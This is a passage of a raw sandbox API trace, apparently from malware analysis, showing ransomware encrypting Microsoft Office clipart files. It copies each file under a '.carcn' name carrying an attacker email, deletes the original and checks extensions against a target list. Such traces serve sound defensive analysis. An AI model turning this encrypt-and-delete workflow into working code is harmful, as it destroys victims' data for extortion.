GetLastError () returned 0x0 [0303.676] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x8a12, lpOverlapped=0x0) returned 1 [0303.677] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x8a20, lpOverlapped=0x0) returned 1 [0303.679] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.679] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.679] SetEndOfFile (hFile=0x340) returned 1 [0303.679] CloseHandle (hObject=0x340) returned 1 [0303.679] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.679] SetEndOfFile (hFile=0x350) returned 1 [0303.932] CloseHandle (hObject=0x350) returned 1 [0303.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 1 [0303.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0303.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0303.933] lstrlenW (lpString=".doc") returned 4 [0303.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.933] lstrlenW (lpString=".docx") returned 5 [0303.933] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0303.933] lstrlenW (lpString=".pdf") returned 4 [0303.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.933] lstrlenW (lpString=".xls") returned 4 [0303.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.933] lstrlenW (lpString=".xlsx") returned 5 [0303.933] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0303.933] lstrlenW (lpString=".ppt") returned 4 [0303.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0303.933] lstrlenW (lpString=".zip") returned 4 [0303.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.933] lstrlenW (lpString=".rar") returned 4 [0303.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.933] lstrlenW (lpString=".bz2") returned 4 [0303.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.933] lstrlenW (lpString=".7z") returned 3 [0303.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0303.934] lstrlenW (lpString=".dbf") returned 4 [0303.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0303.934] lstrlenW (lpString=".1cd") returned 4 [0303.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0303.934] lstrlenW (lpString=".jpg") returned 4 [0303.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.934] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.934] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0303.935] GetLastError () returned 0x0 [0303.935] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x4752, lpOverlapped=0x0) returned 1 [0304.074] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x4760, lpOverlapped=0x0) returned 1 [0304.075] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.075] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0304.076] SetEndOfFile (hFile=0x34c) returned 1 [0304.076] CloseHandle (hObject=0x34c) returned 1 [0304.076] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.076] SetEndOfFile (hFile=0x350) returned 1 [0304.077] CloseHandle (hObject=0x350) returned 1 [0304.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 1 [0304.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0304.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0304.089] lstrlenW (lpString=".doc") returned 4 [0304.089] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0304.089] lstrlenW (lpString=".docx") returned 5 [0304.089] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0304.089] lstrlenW (lpString=".pdf") returned 4 [0304.089] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0304.089] lstrlenW (lpString=".xls") returned 4 [0304.089] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0304.089] lstrlenW (lpString=".xlsx") returned 5 [0304.089] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0304.089] lstrlenW (lpString=".ppt") returned 4 [0304.089] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0304.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0304.089] lstrlenW (lpString=".zip") returned 4 [0304.089] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0304.089] lstrlenW (lpString=".rar") returned 4 [0304.090] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0304.090] lstrlenW (lpString=".bz2") returned 4 [0304.090] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0304.090] lstrlenW (lpString=".7z") returned 3 [0304.090] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0304.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0304.090] lstrlenW (lpString=".dbf") returned 4 [0304.090] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0304.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0304.090] lstrlenW (lpString=".1cd") returned 4 [0304.090] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0304.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0304.090] lstrlenW (lpString=".jpg") returned 4 [0304.090] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0304.093] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.093] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0304.108] GetLastError () returned 0x0 [0304.108] ReadFile (in: hFile=0x384, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x3682, lpOverlapped=0x0) returned 1 [0304.164] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x3690, lpOverlapped=0x0) returned 1 [0304.166] ReadFile (in: hFile=0x384, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.166] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0304.166] SetEndOfFile (hFile=0x34c) returned 1 [0304.166] CloseHandle (hObject=0x34c) returned 1 [0304.166] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.166] SetEndOfFile (hFile=0x384) returned 1 [0304.167] CloseHandle (hObject=0x384) returned 1 [0304.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 1 [0304.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0304.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0304.168] lstrlenW (lpString=".doc") returned 4 [0304.168] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0304.168] lstrlenW (lpString=".docx") returned 5 [0304.168] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0304.168] lstrlenW (lpString=".pdf") returned 4 [0304.168] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0304.168] lstrlenW (lpString=".xls") returned 4 [0304.168] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0304.168] lstrlenW (lpString=".xlsx") returned 5 [0304.168] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0304.168] lstrlenW (lpString=".ppt") returned 4 [0304.168] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0304.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0304.168] lstrlenW (lpString=".zip") returned 4 [0304.168] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0304.168] lstrlenW (lpString=".rar") returned 4 [0304.169] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0304.169] lstrlenW (lpString=".bz2") returned 4 [0304.169] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0304.169] lstrlenW (lpString=".7z") returned 3 [0304.169] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0304.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0304.169] lstrlenW (lpString=".dbf") returned 4 [0304.169] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0304.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0304.169] lstrlenW (lpString=".1cd") returned 4 [0304.169] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0304.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0304.169] lstrlenW (lpString=".jpg") returned 4 [0304.169] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0304.169] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.169] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0304.170] GetLastError () returned 0x0 [0304.170] ReadFile (in: hFile=0x384, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x1bf2, lpOverlapped=0x0) returned 1 [0304.299] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1c00, lpOverlapped=0x0) returned 1 [0304.300] ReadFile (in: hFile=0x384, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.300] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0304.300] SetEndOfFile (hFile=0x34c) returned 1 [0304.301] CloseHandle (hObject=0x34c) returned 1 [0304.301] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.301] SetEndOfFile (hFile=0x384) returned 1 [0304.302] CloseHandle (hObject=0x384) returned 1 [0304.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 1 [0304.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0304.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0304.314] lstrlenW (lpString=".doc") returned 4 [0304.314] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0304.314] lstrlenW (lpString=".docx") returned 5 [0304.314] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0304.314] lstrlenW (lpString=".pdf") returned 4 [0304.314] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0304.314] lstrlenW (lpString=".xls") returned 4 [0304.314] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0304.314] lstrlenW (lpString=".xlsx") returned 5 [0304.314] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0304.314] lstrlenW (lpString=".ppt") returned 4 [0304.314] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0304.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0304.314] lstrlenW (lpString=".zip") returned 4 [0304.314] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0304.314] lstrlenW (lpString=".rar") returned 4 [0304.315] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0304.315] lstrlenW (lpString=".bz2") returned 4 [0304.315] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0304.315] lstrlenW (lpString=".7z") returned 3 [0304.315] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0304.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0304.315] lstrlenW (lpString=".dbf") returned 4 [0304.315] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0304.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0304.315] lstrlenW (lpString=".1cd") returned 4 [0304.315] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0304.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0304.315] lstrlenW (lpString=".jpg") returned 4 [0304.315] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0304.336] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.336] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0304.337] GetLastError () returned 0x0 [0304.337] ReadFile (in: hFile=0x384, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xfcff, lpOverlapped=0x0) returned 1 [0304.354] WriteFile (in: hFile=0x380, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xfd00, lpOverlapped=0x0) returned 1 [0304.356] ReadFile (in: hFile=0x384, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.356] WriteFile (in: hFile=0x380, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0304.356] SetEndOfFile (hFile=0x380) returned 1 [0304.357] CloseHandle (hObject=0x380) returned 1 [0304.357] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.357] SetEndOfFile (hFile=0x384) returned 1 [0304.358] CloseHandle (hObject=0x384) returned 1 [0304.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 1 [0304.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0304.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0304.359] lstrlenW (lpString=".doc") returned 4 [0304.359] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0304.359] lstrlenW (lpString=".docx") returned 5 [0304.359] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0304.359] lstrlenW (lpString=".pdf") returned 4 [0304.359] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0304.359] lstrlenW (lpString=".xls") returned 4 [0304.359] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0304.359] lstrlenW (lpString=".xlsx") returned 5 [0304.359] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0304.359] lstrlenW (lpString=".ppt") returned 4 [0304.360] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0304.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0304.360] lstrlenW (lpString=".zip") returned 4 [0304.360] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0304.360] lstrlenW (lpString=".rar") returned 4 [0304.360] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0304.360] lstrlenW (lpString=".bz2") returned 4 [0304.360] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0304.360] lstrlenW (lpString=".7z") returned 3 [0304.360] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0304.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0304.360] lstrlenW (lpString=".dbf") returned 4 [0304.360] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0304.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0304.360] lstrlenW (lpString=".1cd") returned 4 [0304.360] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0304.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0304.360] lstrlenW (lpString=".jpg") returned 4 [0304.360] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0304.360] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.361] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0304.361] GetLastError () returned 0x0 [0304.361] ReadFile (in: hFile=0x384, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x4ed3, lpOverlapped=0x0) returned 1 [0304.373] WriteFile (in: hFile=0x380, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0304.374] ReadFile (in: hFile=0x384, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.374] WriteFile (in: hFile=0x380, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0304.374] SetEndOfFile (hFile=0x380) returned 1 [0304.374] CloseHandle (hObject=0x380) returned 1 [0304.374] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.375] SetEndOfFile (hFile=0x384) returned 1 [0304.376] CloseHandle (hObject=0x384) returned 1 [0304.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 1 [0304.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0304.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0304.377] lstrlenW (lpString=".doc") returned 4 [0304.377] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0304.377] lstrlenW (lpString=".docx") 